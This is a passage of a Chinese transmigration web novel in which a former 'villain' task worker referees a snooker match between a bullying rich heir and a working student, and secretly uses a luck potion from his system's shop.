斯诺克,是一种历史颇为悠久的球类运动。
球桌上通常有21枚球,分为红球与彩球,玩家需要交替击球,先击中活球,将球打入袋中得分。
这项运动要求参赛者有精妙的技巧和战术布局能力,手、眼、脑缺一不可,又需兼顾观赏性,风靡一时。
斯诺克需要持久的训练,外加专业人士的指导,加上不算简单的规则,新手小白很难熟练。
所以在纪凯提出要和齐鹜比赛打斯诺克,输了的人要答应赢家要求时,他是信心满满的。
“怎么样,”他轻敲手中的球杆,唇边扬起得意的笑:“可以的吧?”
纪凯不认为自己会输。
他是纨绔子弟,在吃喝玩乐上很有些天赋,也曾狠下心请国际冠军教导自己球技,到现在为止就没输过。
何况,齐鹜只是半路出家,甚至是为了当助教才学的斯诺克。
齐鹜沉默不语。
他神色很淡,原本就锋利冷峻的侧脸在惨白灯光的映照下更加淡漠。
光晕模糊了齐鹜的面容,让他整个人显露出一种凛然的距离感。眼睫微掀,用不带一丝情感的眼神凝视纪凯。
哪怕身处劣势,他也依旧是平常那副不卑不亢的模样。
或者说,根本没有把纪凯放在眼里。
齐鹜的眼神冷得像一块冰,不带一丝情感地看着纪凯和他的跟班。
跟班两
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三做团,堵在齐鹜身前,搓着手生怕他跑掉:“请吧。”
齐鹜看了看被递到面前,擦得锃亮的球杆。
他没有伸手去接。
“你赢了,我就再也不会来这里,也不会再计较之前的事。”
纪凯摊开自己的筹码:“要是你输了……”
齐鹜兀地抬头,瞳色漆黑:“输了就怎样?”
“输了?”
纪凯冷笑一声,对于齐鹜到现在还不见棺材不落泪十分嘲讽:“输了你就得跪下来给我道歉。”
他往前踏一步,西裤裤腿往上叠,露出一尘不染的皮鞋。
“看见了吗?”纪凯扯着嘴角,晃着脑袋,满怀恶意地盯着齐鹜:“等会你得跪着擦它。”
跟班熟悉这种场面,非常配合,爆发出哄笑声:“纪哥威武!”
“干翻他!!!”
齐鹜微微垂下视线。
他比纪凯高很多,纪凯想和他对视得抬头,这一点让纪凯无比恼怒,觉得自己先输了阵。
因而纪凯扬声:“你不答应也得答应!”
看见面前这个穷小子目中无人的表情,纪凯心底就十分窝火。
那天也是,他喝得醉醺醺,齐鹜就这样堂而皇之地拨开人群走过来,拎着他的衣领把他摔在地上。不等他反应过来,就是一拳砸过来。
想到这里,纪凯就怒从心生。
“喂,”他威胁道:“你胆子大,什么都不怕,这里的其他人呢?”
“你是想一个人混不下去,还是想让这里的人都丢掉工作?”
此话一出,齐鹜的神色果然一变。
纪凯趁热打铁:“怎么样?只是比赛,我已经够给你意思了。”
他上下打量齐鹜,啧叹道:“要是以前,我怎么可能给你机会。”
“那个女的也是。”
纪凯越说越来劲,摩挲着下颌:“长得也不是很好,竟然敢拒绝我,要不是……我早把她……”
他嘴里不干不净,跟班嘿嘿笑起来,七嘴八舌附和。
“闭嘴。”
齐鹜冷着脸,兀地开口。
他眼神极冷,漠然的眼睛里终于映出了纪凯的身影。
齐鹜垂着眼,光线落在深刻的眉骨上,映出小片阴影,那双黝黑的眼睛显得薄而冷。
纪凯吓了一跳。
他下意识咽了咽口水,倒吸冷气。
只不过那也是一瞬间的事,在纪凯回过神,又想放些狠话的时候,齐鹜又开口了。
“我跟你比。”
他随手擦了擦球杆,把袖口往上扯,露出一截干练利落的手臂:“开始吧。”
纪凯眉头稍微松了下。
没等他走两步,齐鹜又给出自己的条件。
“我赢了,你不仅不能再骚扰这里。”他的声线很低,音色很有磁性:“你得和雯雯姐道歉。”
齐鹜口中的雯雯姐就是纪凯那天骚扰的女生。
纪凯愣了一下,才反应过来这是那个女生的名字。
他脑海里浮现出一张不甚清晰的、带着泪花的脸,又转到齐鹜冷冰冰的表情。
不得不说,这人真是很有一种能惹人讨厌的气质。
“行。”
纪凯不怒反笑:“你倒是很有善心,就是不知道……”
“你今天有没有这个机会了。”
14. 拜金男友14
雪枕和程誓来到俱乐部。
距离纪凯离开已经过了约莫半个多小时,俱乐部也清场,只有零散几个员工在吧台前坐立难安地等着。
程誓进去,随手从皮夹里抽出一张会员卡,“啪”一声扔到吧台上:“开一间。”
员工为难地看了看标着黑金会员的卡面,支支吾吾:“客人,今天下午有人……”
“我知道,”程誓摆了摆手:“我就是去找他的。”
听见这话,员工额头都冒汗。
“这……我们可能不太能……”
程誓一听就知道这是把自己也当成踢馆的来了,他看看唇角微微上扬,好像在偷笑的雪枕,长臂一伸把人拉过来,扯到自己身边。
“我不是来找事的。”
程誓眯眼,像是对雪枕又像是对前台解释:“我又不是纪凯,没那么闲。”
他张开手掌,不怀好意地去掐雪枕白生生的脸颊肉,半真半假:“找麻烦怎么会带着你……”
雪枕“啪”一下拍掉他的手。
程誓感觉手背一痒,扯开一个笑:“小气。”
雪枕不理会他,只问前台:“他们在哪个包间?”
前台被他清凌凌的眼睛一看,下意识回答:“A102……”
雪枕扭头给了程誓一个眼神:“走?”
程誓只好点头:“行吧。”
也不知道纪凯到底哪里吸引到雪枕的注意力了。
A103包间。
门半掩着,甚至不需要凑近,就能听见里面传来的哄笑声。
雪枕顿了一下,眉头微微拧起。
没有他想象的任何血腥场面。
也没有几个人的声音,仔细一听,零零散散,说是起哄更像是氛围组。
所以龙傲天男主是在被……为难?
程誓没有任何顾虑,径直上前推开门。
他如此冒失,雪枕讶然一下,继而跟着走进去。
“哟。”程誓锁定在包间中心,脸色涨红的纪凯。
以及对面,那个陌生的、神情冷淡的高大男生,靠在球桌旁轻轻擦拭球杆。
程誓慢慢走过去,略带好奇的目光在陌生男生身上扫了一圈,继而扭过头,对纪凯笑:“我想了想,既然你也在这里,就过来看看,没打扰到你吧?”
“你们在比赛……到哪一局了?”
纪凯的脸色说不上好。
“第二局。”他脸通红,额角竟也冒出了细汗,密密匝匝,被灯光一照,狰狞得有些可怖。
纪凯紧紧捏着球杆,甚至分不出心思招呼齐鹜:“坐啊,程哥。”
程誓从善如流:“好,我也凑热闹。”
他拉着雪枕到旁边坐下。
雪枕乖乖坐下,目光却在球桌上流连了一下。
他在任务世界学过很多东西,尤其是吃喝玩乐方面。
一个合格的炮灰反派,必然是不学无术,溺于享乐的。雪枕又是反派部门的优秀员工,这点东西自然不在话下。
一局过了大半,台面上彩球零零散散散落,清空大半。
雪枕不知道纪凯和齐鹜是怎么打的,但包间两侧有大屏幕,计分系统开着,俨然是齐鹜领先。
62:45
纪凯的得分不低,但齐鹜稳稳领先。也许是因为这个,他时不时盯着屏幕看一眼,紧紧攥住球杆,呼吸声很重。
雪枕的目光又转到齐鹜身上。
后者神色非常冷淡。
他身量很高,比起同龄人有些瘦削,却也不难看出是一副肩宽腰窄的好身材。
今天齐鹜来上班,穿得仍旧是俱乐部统一配发的衬衫马甲和西裤。
衣服算不上多好,偏偏他盘靓条顺,一分的料能穿出十分的效果,比一旁满身牌子货的纪凯惹眼多了。
比赛中途忽然进来陌生人,也没有影响到齐鹜。黑沉的眼睛微微一瞥,从雪枕和程誓身上掠过,转而落在球桌上。
包间的灯光偏暖,纱雾一样轻轻流泻下来,落在他冷峻的眉眼和线条锋利的侧脸上。
他右手攥住球杆轻轻摩挲,手腕绷出显眼的青筋,上半身往下沉,肩背舒展,盯住面前那颗白球。
齐鹜呼吸沉稳,脸都没有红一下,和对面不断大喘气的纪凯形成鲜明对比。
炮灰踢馆失败。
雪枕眨眨眼,和程誓一起找了个椅子坐下。
这个世界的龙傲天也很厉害,不用他担心了。
但雪枕也知道,炮灰之所以是炮灰,就是因为他们会为难主角,和主角对着干,还因为他们会使用一些不太光彩的花招。
雪枕的目光在纪凯带过来的两个跟班身上扫了一下。
显然他们也感觉到了纪凯的恼怒,脸色也有些差。
偶尔目光交汇一下,眼珠滴溜乱转。
雪枕有种开卷考试的感觉。
呵呵。
以往的任务世界里,他要为难龙傲天男主,也会这样和炮灰交流眼神。
一眼看穿!
雪枕抿唇,在程誓莫名其妙的眼神里微微笑了一下。
继而,他侧身,光明正大地凑到程誓耳边,咬着耳朵说了几句。
程誓配合他,拧着的眉头微微松开。
唐雪枕的眼睛亮得惊人。
他皮肤白,脸颊飞上晕红,看起来更加透亮,水润得像剥了壳的荔枝。
漂亮当然是漂亮的,还有如出一辙的娇纵气,对着旁边的寸头男生叽里咕噜说着什么。
看起来很……熟稔。
也不知道他们说了什么,引得寸头男生笑起来,居高临下的倨傲神色也被冲淡。
齐鹜心下一沉。
他见过唐雪枕身边的男生。
齐鹜记性好,机灵,人长得又出众,在A市各大私人会所兼过职,差不多对经常出来寻欢作乐的少爷小姐们混了个眼熟。
在唐雪枕身边的男生是程家的少爷程誓,也是一呼百应、任性妄为的主。
当然是他比不了的。
两个人坐在一起,竟有些般配的意味。
毕竟在齐鹜偶尔看见程家少爷的几次,从未发现过他的脸色能如同现在一般和缓,甚至说得上
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纵容。
还伸出手,光明正大地揽着身边人单薄的肩膀。
齐鹜面无表情地收回视线。
他手指收紧,掌心和球杆摩擦,发出令人牙酸的吱呀声。
倏尔,齐鹜反应过来,沉下心,对准方向,手腕送出去,击打面前的白球。
白球被打出去,以一个刁钻的角度撞在桌角改变前进方向,精准地撞在不远处的黑球上。
黑球晃晃悠悠滚到球袋里。
七分。
雪枕看着一脸不情愿的跟班给齐鹜加了七分。
彩球中黑球的得分最高,难度也最大。但看齐鹜一脸冷漠,似乎并没有感觉到棘手。
龙傲天当然能轻松应对,炮灰就不能了。
纪凯一下子甩了球杆。
“中场休息!”
他额角都是汗,原本还称得上清秀的脸现在涨得通红,表情更是阴沉。
纪凯直勾勾地盯着球桌对面的齐鹜,想用眼神作刀从他身上剜下一块肉似的:“我要换个趁手的球杆,你不介意吧?”
齐鹜摇头。
他这副风轻云淡的模样让纪凯更生气。
纪凯冷着脸,几次深呼吸平复心情。
如果不是程誓在这里,他真想把球桌一起掀翻。
纪凯意识到自己失算了。
他自认球技不错,偏偏竟然碰上了个自学成才,仅仅靠当助教也能玩上一把好球的。
骑虎难下!
纪凯一阵牙酸。
他不是信守承诺之辈,如果这里只有齐鹜这个不识好歹的,他立刻就能翻脸清空球桌。
可程誓不知道为什么追到这里来了。
要说程誓是来看热闹,可他的眼神落在球桌上的片刻寥寥无几,一直在看身边人。
要说他对比赛完全不感兴趣,程誓又能指着球桌和身边的漂亮男孩咬几句耳朵,把人逗笑。
好像自己在这里怒火攻心,还不如人家微微笑一下来得惹眼。
这是拿他自己找乐子来了!
纪凯不是没干过这事,但当他自己成为被取乐的一员时,还是不可遏制地感到了愤怒。
他思考一会,给跟班一个眼神,对方心领神会,往外边走去。
不等程誓说话,纪凯就自顾自:“程哥,你看这你来了也只有我们在玩,我让人去再找几个助教来。”
程誓不置可否。
纪凯定下心,拧开瓶盖喝水。
他有跟班鞍前马后送水送毛巾,齐鹜当然没有,沉默地放下球杆擦拭手腕。
讨人嫌的穷小子。
纪凯在心底冷笑一声,把用过的手巾扔到跟班身上。
偏偏程誓带过来的漂亮男孩忽然站起来。
白生生的腕子晃了晃,竟是给齐鹜递了瓶水过去。
纪凯拧眉,可齐鹜也露出讶然神情,思忖片刻后点头道谢,接了过去。
纪凯立刻看程誓。
程誓不置可否。
然后纪凯就听见面前的漂亮男孩开口。
“下半场,我来当裁判?”
15. 拜金男友15
包间里一片安静。
雪枕擦了擦指腹沾上的水珠。
纯净水是俱乐部提供的,得益于俱乐部精益求精的服务,瓶身从小冰柜里拿出来的时候还带着冷气。
有点冰手。
没人说话,雪枕拧了拧眉头,把自己的问题又重复了一遍。
“不可以吗?”
他眨了眨眼,又长又直的睫毛在脸颊落下一小片阴影。
“咳咳……”
纪凯还在喝水,似乎是被雪枕的话惊讶到,不慎呛了一下。
手上还拿着热毛巾的跟班赶紧给他擦。
“你懂这个?”
纪凯平复呼吸,难以置信地挑了挑眉。
他上下扫了扫雪枕,从白生生的脸到裤腿下细伶伶的脚踝,有些发笑。
细胳膊细腿的,也会玩球,程誓也不管管?
还是说,他们知道自己想……
话在纪凯舌尖绕了一圈,又咽下去:“真的假的?”
别再是程誓拿他当猴耍,想给自己的小男朋友寻开心呢。
纪凯皮笑肉不笑。
他现在不光是看对面那个穷鬼不顺眼,看程大少爷也很不顺眼。
“我当然会,”雪枕摊开手:“已经是下半场了,而且……”
“这里也不止我一个人,不是吗?”
雪枕的表情十分诚恳。
他的视线从纪凯身上挪开,扫了扫包间里的众人。
雪枕的眼型偏圆。
杏仁眼,形状饱满,瞳色又黑,看人的时候显得很无辜。偏偏眼尾是微微上挑的,睫毛又长又密,小扇子似的一扫一扫,无端带出一股欲说还休的意味。
看着无辜得很。
纪凯尚且保持沉默,程誓站了起来。
他走到雪枕身边,长臂一伸,姿态十分熟稔地揽住后者的肩膀。
“他会啊,怎么不会?”程誓扯了扯嘴角,给雪枕撑腰:“我教的。”
纪凯嘴角抽了抽。
他的视线从程誓堪称英俊的眉眼略过,又落在那只自然而然揽住雪枕的手臂上。
而后者微微歪着头,一双眼睛黑白分明,明明是在狐假虎威。
这对狗男男!
纪凯算是彻底懂了,不管程誓和那个穷小子认不认识,他带过来的小男朋友是认识这个穷小子的。
程誓是不管自己有没有被戴绿帽吗?
纪凯冷下脸,瞥了几眼仿佛置身事外的齐鹜。
倒是命好。
“原来是这样……”纪凯咂舌,感觉一阵牙酸:“那也行。”
他挥挥手示意跟班,让跟班把东西交出去:“下半场你来计分吧,不会摆球在旁边等着就行了。”
程誓要给自己的小男朋友撑腰,纪凯怎么会主动拂了他的面子。
纪凯也有点想看看,如果小男朋友给自己丢了脸,程誓会是什么反应。
雪枕点头。
他从跟班手上接过手套,仔细擦干净指尖,戴上手套。
尺码稍大些,愈发衬得他指节修长,手腕纤细。
雪枕漫不经心地掂了掂彩球。
上次玩球还是在一个龙傲天逆袭打脸世界,他负责扮演一个豪门炮灰,在女主面前给龙傲天难堪。
他们当时也是比赛,还下了注。
台球颇有些分量,在雪枕掌中来回滚动的时候却显得很轻盈。
系统可以辅助任务者,在涉及专业性十分强的剧情节点的时候,但雪枕不太喜欢被系统接管身体。
所以那个剧情节点……是雪枕现学的。
“可以开始了吗?”
齐鹜率先打破沉默。
程誓和雪枕进来的时候,他并未表态。现在中途要换裁判,他也依旧神色冷淡。
或者说,连今天来找茬的纪凯他也没放在眼里。
齐鹜身量高,和程誓差不多,看人的时候微微垂眼,灯光洒下来,在深刻冷峻的面孔上镀上一层冷冷的光。
他不说话,存在感非常低。但当有人注意到他的时候,才能恍然惊觉原来他也生了一张颇为英俊的面孔。
从气势看,竟比纪凯更像个有钱人家的少爷。
雪枕去看纪凯。
后者果真又是一阵冷笑:“好啊,等会就开始吧。”
下一杆刚好轮到纪凯自己,他随手把用过的手巾扔到跟班怀里。
纪凯调试球杆,雪枕则俯下身,先跟班一步取出球袋里的彩球。
上一球是蓝色球,记五分。
雪枕回想了一下,见位置被占,就把蓝色球放在上一球的位置上。
纪凯挑挑眉,没说话。
他俯下身,球杆直指母球,把离得最近的红球击入球袋内。
斯诺克的规则是先击中红球才能打彩球,红球清空后再按照顺序清空彩球。
纪凯不断调整位置,试图对准目标球。
雪枕站在半身开外,比了比,发现纪凯的目标球是黑色球。
黑色球计分七分,是彩球中得分最高的。
不过在黑色球前还横挡着两枚红球,卡在一个堪称刁钻的角度,并不方便对准。
但纪凯沉住呼吸,眉头紧锁,手腕不断带动球杆调整位置,很像那么回事。
雪枕若有所思。
纪凯能提出和齐鹜比斯诺克,肯定是对自己的技术很有几分信心的。
他当时扮演的炮灰也是这样。
自认为有点能耐,去挑衅龙傲天,结果成了对方升级路上的垫脚石。
不过,雪枕是真的学会了斯诺克。
虽然水平算不上顶级,但对付纪凯是绰绰有余了。
雪枕眨了眨眼,目光略过纪凯,落在对面的齐鹜身上。
齐鹜正轻轻擦拭球杆。
他生得冷峻,性格也是,纪凯气得脸色通红,他还是一副风轻云淡的模样。
很有龙傲天的样子。
思忖间,纪凯已经完成击球。
母球撞出去,撞在桌角,转变方向,直奔不远处的蓝色球。
“嘭”一声。
蓝色球动起来,慢慢撞在桌角,弹射撞入球袋。
中途被撞的两个红球晃晃悠悠,卡在球桌右下角的球袋旁。
纪凯加五分。
62:51
轮到齐鹜了。
雪枕调整球位,为齐鹜让出位置。
计分咬得很紧,雪枕粗粗扫了一眼球桌,感觉情况对齐鹜不太有利。
球桌上,红球散落,不在点位,并且十分靠近库边。
其中直直遮挡在彩球前的,就是纪凯打乱的两颗红球。
这种局面十分考验选手的功底。
能不能集中球是一回事,能不能缓解局势又是另一回事。
纪凯站在旁边,身后的跟班探头在他耳侧说了几句什么,引得他扯出笑。
略带嘲讽的,非常不善地扫了齐鹜一眼。
这种局面,如果换个人来,估计要绕着球桌走上大半天,仔细思忖下一步该怎么做。
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毕竟一旦违规,罚球的分数是记在对手身上的。
但齐鹜从来不是个会犹豫的人。
他只是往前走了几步,俯下身,调整好位置,“嘭”一声击球。
齐鹜的动作来得太快,似乎想也没想,径直击出球。
他的袖子往上拢,手腕用力,绷出明显的筋脉,从肩膀到腰身,压出流畅有力的线条。
为了方便调整角度,齐鹜的上半身压得很低,近乎平行于球桌。
从雪枕的角度看,能看见齐鹜衬衫下贲张的肌肉。
看起来就算是碰见炮灰作妖也可以把人打晕的那种。
齐鹜骨架大,平时也不穿贴身衣服,又低调,很容易让人忽略他的体型相较于同龄人,其实有些夸张了。
雪枕看了看自己的手腕。
细伶伶的,白得发光。
他拧了拧眉头。
怎么到了这个世界,龙傲天男主还是一拳能把他打出好歹的样子?
目标球晃晃悠悠地撞在球桌边。
力度并不大,球堆并未炸开,但齐鹜似乎预料到了这一点,在右侧留出了一颗防止连杆中断。
红球堆被打散。被碰撞到的彩球缓缓挪动,最后静止在球桌上。
这一球的角度非常巧妙,如果成功打开局面,自然可以继续下去。未能如愿,也可以继续调整。
纪凯伸出手,比了个喝倒彩的手势。
齐鹜并未理会。
倒是程誓站在旁边,若有所思地打量几下球桌旁的齐鹜。
雪枕上前调整球位。
齐鹜调整位置,很快又击出一球。
这一杆虽然找准时机踢出了几颗红球,落点位置却不太好,几乎都处在半贴库边的状态。
情况很不妙。
程誓粗粗看了一眼,觉得是齐鹜太急着清台,结果方向有误,卡在了不上不下的位置。
他拧起眉头。
纪凯和齐鹜到底谁赢,程誓并不关心。
今天他出现在这里,也是雪枕要求的。
主动开口,更是因为雪枕刚刚和他打了一个赌。如果纪凯赢了,一个月之内雪枕都会听他的话。
反之,如果是齐鹜赢了,程誓就得答应不能再不顾雪枕的意愿接他出来玩。
程誓不怎么玩斯诺克,但纪凯很喜欢,据说水平还不错。
而齐鹜,是个在俱乐部兼职的学生,怎么看也不像是技术很好的样子。
所以程誓答应了。
齐鹜的得分不是很妙,程誓是该挺高兴,但他现在……
程誓依靠在墙边,目光径直落在雪枕身上。
脾气那么大,要是看见自己押宝的人输了,会不会生气?
借着包间的顶光,程誓细细描摹雪枕的侧脸。
雪枕的皮肤很白,也很软。
程誓是知道的,看着像一团雪,手感也像,捏起来软绵绵、冰冰凉凉的。
但往往他上手还没两下,雪枕就生气了,气鼓鼓地拍开他的手。
程誓也没办法解释自己的举动。
他向来随心所欲,在雪枕眼里,就是故意对自己动手动脚。
如果能让雪枕听自己的话,程誓当然高兴。
但雪枕要是和他耍赖怎么办?
万一他对自己撒娇,还掉眼泪呢?
程誓兀自思忖,神情十分严肃。
他是该铁面无私让雪枕履行承诺,还是轻轻揭过,让雪枕高兴高兴?
程誓头一回感觉自己如此优柔寡断。
16. 拜金男友16
雪枕不知道程誓心底正激烈地天人交战。
他的心神都放在球桌上,偶尔分神,看看纪凯有没有小动作。
如果是自己来扮演反派,这个时候就应该开始嘲讽龙傲天,进一步拉仇恨值。
果然,雪枕的第六感起了作用。
纪凯的另一个跟班去而复返,身后还跟着一个人。
雪枕眉尖微蹙。
一个面容陌生的年轻女生。
看着有些憔悴,瞳孔紧缩,看着很是惊惶。亦步亦趋跟着进来,却谨慎地和包间里任何一个人保持距离。
雪枕只用了一秒就猜出她的身份。
886告诉他,龙傲天男主因为阻止纪凯欺负俱乐部的女员工,得罪了对方。
很显然,纪凯方才示意跟班带过来的人,就是那个女员工。
现在要把人带过来……是想?
雪枕思忖。
很明显的,齐鹜也注意到了。
他正打算出杆,余光瞥见纪凯得意洋洋的笑脸,手腕不可遏制地一抖。
球杆用力一击,力道没控制住。
跳球了。
方才进来的跟班也和纪凯一样得意洋洋,自顾自给齐鹜记了罚球分。
62:55
很显然纪凯的跟班按照他的吩咐,用了些手段。
她表情慌乱,下意识看向齐鹜,嘴唇蠕动两下,像是急着和齐鹜交代什么。
偏偏包间里还有人,那女生原地踟蹰,最终无可奈何地闭上嘴。
雪枕眉头轻轻一挑。
另一边,齐鹜直起身,把球杆放好,冷冷看向纪凯。
纪凯扯出一抹笑,得意洋洋:“怎么?发挥失常了?”
他意有所指,眼神直截了当地看向方才被带进来的女生,恶意道:“要不要找个助理陪你打打……?”
纪凯不怀好意地笑,也不知道他到底让跟班出去威胁了对方什么。
雪枕不知道纪凯和龙傲天到底打了什么赌。
但从龙傲天的表情看,纪凯估计给出了非常过分的条件。
可能包括但不限于继续为难那个女生,或者让龙傲天来给他“赔礼道歉”。
当然,雪枕当反派的时候,也熟练掌握此等拉仇恨的技巧。
“太坏了。”
886变成的小肥啾在雪枕肩头踩来踩去,义愤填膺:“这个NPC怎么这样?!”
雪枕不着痕迹地伸出右手,以免886踩滑。
虽然886根本没有实体,但雪枕还是下意识伸出了手。
“宿主宿主……”
886想到数据里一系列的恋爱小说,结合龙傲天当前的处境,兴致勃勃地给宿主提建议。
“我们现在挺身而出,给男主留下好印象,然后……”886巧妙地运用新学到的成语:“雪中送炭火上浇油。”
泛着淡蓝色光晕的白色肥鸟张开翅膀,十分活泼地给自己的宿主想办法。
然而,它的宿主只是伸出手,拦了一下它即将踩空的爪子。
“不。”
雪枕拒绝886的提议。
“不去,”他垂下眼睑,又长又密的睫毛小扇子一样眨着:“反派怎么会主动救人。”
“可是……”
886豆大的黑眼睛颤了颤。
雪枕比了个手势,制止886继续说下去。
“虽然被调任到恋爱部门,”他的语气十分平淡,甚至能说是冷冰冰的:“我的心还在反派部门。”
“让我从给主角使绊子的反派变成主角跟班,是在为难我。”
886的翅膀耷拉下来。
从886的角度看,宿主的侧脸仍旧秀美,颊边微微泛粉,略长的黑发柔软地贴在颈侧。黑瞳乌润,却含着清凌凌的冷光。
让它不由自主想起在任务世界第一次见到宿主的时候。
那个时候宿主也是这样的神情。
淡淡的,看见它的时候也只有一点讶然,看着小世界主角在自己面前放狠话也没有什么特别的反应。
黑发红瞳的吸血鬼少年端坐在空荡荒芜的古堡中,心神似乎都分给了指尖含苞待放的花。
就好像……任务完不完成,主角怎么对他,都和他无关似的。
886肥短的身子缩了缩。
宿主,难道要和男主玩恨海情天、虐身虐心那一套吗?
886瞬间在数据库中检索含有“虐恋情深”“相爱相杀”标签的作品。
“不过。”
雪枕慢悠悠地开口,话锋一转。
“当我碰见比我还过分的反派时,也会看不顺眼。”
雪枕摊手:“就像现在。”
他的手段可比纪凯光明多了。
雪枕当反派的时候,只针对龙傲天一个人,从来不牵扯到其他NPC。
纪凯这样拿人威胁齐鹜,雪枕也不太能看得上眼。
因而,他思忖一番,上前两步,用身体隔开纪凯的视线,也挡在神色惊慌的年轻女生面前。
视线被阻拦,纪凯脸上也没了笑,阴测测地盯着雪枕。
“纪少爷,轮到你了。”
雪枕摊开手,对着纪凯:“比赛中途分心可不是个好习惯。”
纪凯的嘴角抽搐。
他下意识想对挡住自己的人恶语相向,但余光一瞥又对上一旁不动如山安稳坐着的程誓。
后者没开口,但光是坐在那,纪凯就明白他的意思。
……
纪凯感觉自己今天的脸色实在是有些丰富了。
一会黑一会青一会红,他心里一合计,也想笑。
碰见程誓他就不该打招呼!不然怎么会把这尊大佛招过来!
纪凯歪过头:“是该到我了。”
他气还没理顺,匆忙抓起球杆,余光瞥见上一轮齐鹜倒扣的分数,心情好歹算好了些。
前半场算他失算,让齐鹜得分高,后半场就不一定了。
纪凯心中得意,连带着出杆的速度也轻快几分。
目标球被击中,晃晃荡荡地砸向球桌边,然后掉进球袋。
分数基本持平。
纪凯失误过后,状态调整过来。
加上他浸淫玩乐磨炼的球技,对上明显分了神的齐鹜,很快拉高分差。
情况并不理想。
雪枕在旁边复位彩球,纵然知道齐鹜才是这个小世界的龙傲天,也有些踟蹰。
这个世界的龙傲天起点很低,也不知道是走的升级流还是黑暗流。
如果这个坑龙傲天过不去,等他们走了,肯定要被纪凯一番羞辱纠缠。
雪枕和程誓的赌约也要输。
想到程誓,他按了按额角。
这也是个难缠的NPC。
天知道为什么在小世界里,他和NPC的接触远远大于和主角。
一轮完毕,纪凯放下球杆,大摇大摆地走到旁边坐下。
雪枕收拾球袋,一旁紧张地站着的女生也过来,伸手帮他一起。
目光交汇之时,他微微瞪大眼睛。
女生却对他摇头。
“我来吧。”
她的眼眶泛着红,低声快速和雪枕解释:“你不要惹到他们。”
雪枕顿住。
他好像被认成了被“带过来”的伴。
雪枕低头看看自己的打扮,意识到什么不对劲的地方。
的确有点那个意思。
纪凯一身logo,趾高气昂,程誓也是,坐在那边的样子看起来就不好惹。
而他,穿着格格不入的短袖短裤,料子轻软贴身,头顶甚至还有一缕呆毛晃晃悠悠。
雪?全场看起来最好的惹?枕:……
他沉默,年轻女生却以为他误解了自己的意思,借着身形的遮掩,悄悄靠近
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:“我过几天就躲到外地去,他找不到我。”
她扯出一抹苦涩的笑:“我舅舅说根本惹不起他们,要带着我赶紧回老家去。”
“你也不要得罪他们……”女生顿了又顿,竟有些哑口无言,只一双眼睛红彤彤的。
她有意多吩咐几句,偏偏包间里还有其他人,只好作罢。
886重新活跃起来,在雪枕肩膀上踩来踩去。
“好,我知道。”他预判886要说的话,先发制人:“这个NPC很过分。”
886缩了缩翅膀。
“宿主,886不是要说这个……”
886欲言又止,用爪子指指齐鹜的方向。
“又轮龙傲天了。”
雪枕的眉头拧起来。
观战到这么久,他不是没看出来纪凯有几分水平。
而齐鹜看着很有些天份,但终归是练习太少,临场发挥并不能发挥出最佳水平。
他眉头紧锁,886也不断在他肩膀上踱步。
尽管886没有实体,肥短的翅膀尖拂过雪枕脸颊的时候也变成虚影,雪枕还是感觉压力山大。
886一个统的动静比谁都闹腾。
“886。”
雪枕忽然低头,对886低声:“我现在对积分能兑换商城里的什么?”
他攒下来的积分倒是不少,但转了部门,又是新任务,不能在任务世界动用太多的积分。
在低魔世界,使用道具有很多限制。同样的,老任务者进入任务世界,能解锁的道具也有等级限制。
886开始查询,把系统商城内开放的道具念给雪枕听。
“一见钟情药剂,价值100积分,道具等级为D级。”
“晕晕沉沉药丸,价值150积分,道具等级为C级。”
……
“幸运水,价值100积分,道具等级为D……”
“886,停,别念了。”
过了一会,雪枕终于听见自己想要的东西。
他思索:“这个幸运水,有没有等级高一点的。”
886老实回答:“宿主目前能解锁的是C级道具,C级幸运水价值200积分,幸运加成20%。”
换个意思来说,雪枕给龙傲天用了这个幸运水,如果原来他的成功率为60%,现在可以加成到80%。
获胜几率大大增加。
但如果龙傲天原本的成功率更低,使用完幸运水也不会改变结果。
“我要兑换这个。”
雪枕盯着商城右上角的四位数的余额,肉疼了一下主神空间怎么把道具越卖越贵。
遥想当年他第一次进任务世界,这类小道具还能参加季度打折。
时代变了,快穿局也开始反向收割任务者了。
886说好。
即刻,雪枕掌心出现了约莫一指节大小的透明玻璃瓶。
里面有一瓶底的水。
幸运水透明无色,只需洒在被作用者身上就能奏效。
NPC看不见道具,雪枕掂量几下瓶子,拔出瓶塞。
他现在只需要想办法把道具用出去。
微凉的液体浸润指尖。
两百积分。
雪枕幽幽地看向龙傲天。
他将以消费者的名义讨伐!
雪枕慢慢靠过去。
他的动作不算突兀,因为距离齐鹜还有好一段距离。
包间里的人注意力都集中在球桌上,是个很不错的机会。
雪枕扯掉手套,稍稍抬起手。
透明水滴在半空中划出一道曲线,烟花一样,往齐鹜的方向落去。
水滴浸没在白色衬衫上,有几滴落在裸露出来的小臂和颈侧。
“好了。”
雪枕让886收起空瓶玻璃瓶。
“希望这个世界的龙傲天不要让我失望。”
17. 拜金男友17
齐鹜正在调整角度。
他的打法很讨巧,纯粹是在俱乐部现学现用,偷师来的。
论球技,他当然比不上纪凯。但纪凯自恃宠能力过人,分数一高就掉以轻心。
这也是他的机会……
齐鹜知道自己是个天才。
在学校的时候他就知道,课本上的东西他一翻就会,懂的比高年级多得多,几次被校长询问要不要跳级。
齐鹜的心思不在学习上,他不参加学校的活动,经常翘课出去打工,因为攒奖学金留了几级。
比起在学校按部就班学习,他更喜欢自学。
譬如此刻。
齐鹜俯下身,黝黑的眼睛盯紧面前的彩球。
他的大脑飞速运转,不断模拟、建构可能出现的路线,又排除错误选项。
斯诺克的技巧有很多。
很多人拘囿于“技法”,热衷炫技,但实战和纸上谈兵总归不一样。
目标球不会按照经典球局一般分布,各种技巧也存在一定的“感觉”。
齐鹜的直觉非常敏锐。
感觉是玄之又玄的,偏偏在赛场上,感觉最重要。
齐鹜也擅长复刻这种感觉。
就像他时常觉得自己的生活似乎早有人安排好了路线,暗中观察着不断引导他走向“正确”的道路。
而他就是那个被剧情不断推动的“NPC”。
现在,齐鹜的直觉告诉他,他会赢。
他肩胛骨到后背绷紧了,如同一张满月的弓。右脚错步,压下身体重心,上半身下伏,稳住身体,整个人像蓄势待发的豹子,肌肉线条流畅而有力,力量感十足。
握住球杆的右手缓慢挪动,以手肘为中心,钟摆似的调整角度。
齐鹜盯紧的是被彩球挡住的黑色球。
黑色球表面反射着灯光倒影,虚虚连成一点,在他的视线里无比清晰。
一阵微凉的触感忽然袭来。
齐鹜的心一跳。
像是水滴落在身上,又像是温柔的手轻轻拂过,可大脑又告诉他这种感觉是幻觉。
错觉?
可齐鹜分明感觉,他的五感比方才更加清晰,恍若笼罩在世界上的薄纱被掀开。
